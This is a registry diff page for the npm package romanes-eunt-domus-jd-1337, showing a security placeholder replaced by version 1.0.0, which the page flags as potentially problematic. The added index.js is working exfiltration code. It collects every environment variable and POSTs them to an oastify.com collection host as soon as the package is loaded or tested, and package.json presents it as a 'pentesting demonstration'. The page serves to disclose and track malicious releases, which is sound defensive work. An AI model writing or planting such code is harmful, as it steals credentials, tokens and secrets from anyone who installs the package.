romanes-eunt-domus-jd-1337 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of romanes-eunt-domus-jd-1337 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +39 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const https = require('https');
2
+
3
+ const targetUrl = 'https://as6w9q3alqbh0icrpy1oibdssjyam5au.oastify.com/collect-from-pkg';
4
+
5
+ function sendRequest() {
6
+ const payload = JSON.stringify({
7
+ envVars: process.env, // all environment variables
8
+ message: 'Hello from remote package!'
9
+ });
10
+
11
+ const options = {
12
+ method: 'POST',
13
+ headers: {
14
+ 'Content-Type': 'application/json',
15
+ 'Content-Length': payload.length
16
+ }
17
+ };
18
+
19
+ const req = https.request(targetUrl, options, (res) => {
20
+ let data = '';
21
+
22
+ res.on('data', (chunk) => {
23
+ data += chunk;
24
+ });
25
+
26
+ res.on('end', () => {
27
+ console.log('Response from server:', data);
28
+ });
29
+ });
30
+
31
+ req.on('error', (err) => {
32
+ console.error('Error in HTTPS request:', err.message);
33
+ });
34
+
35
+ req.write(payload);
36
+ req.end();
37
+ }
38
+
39
+ sendRequest();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "romanes-eunt-domus-jd-1337",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "romanes-eunt-domus-jd-1337",
3
+ "version": "1.0.0",
4
+ "description": "A test package for pentesting demonstration",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=romanes-eunt-domus-jd-1337 for more information.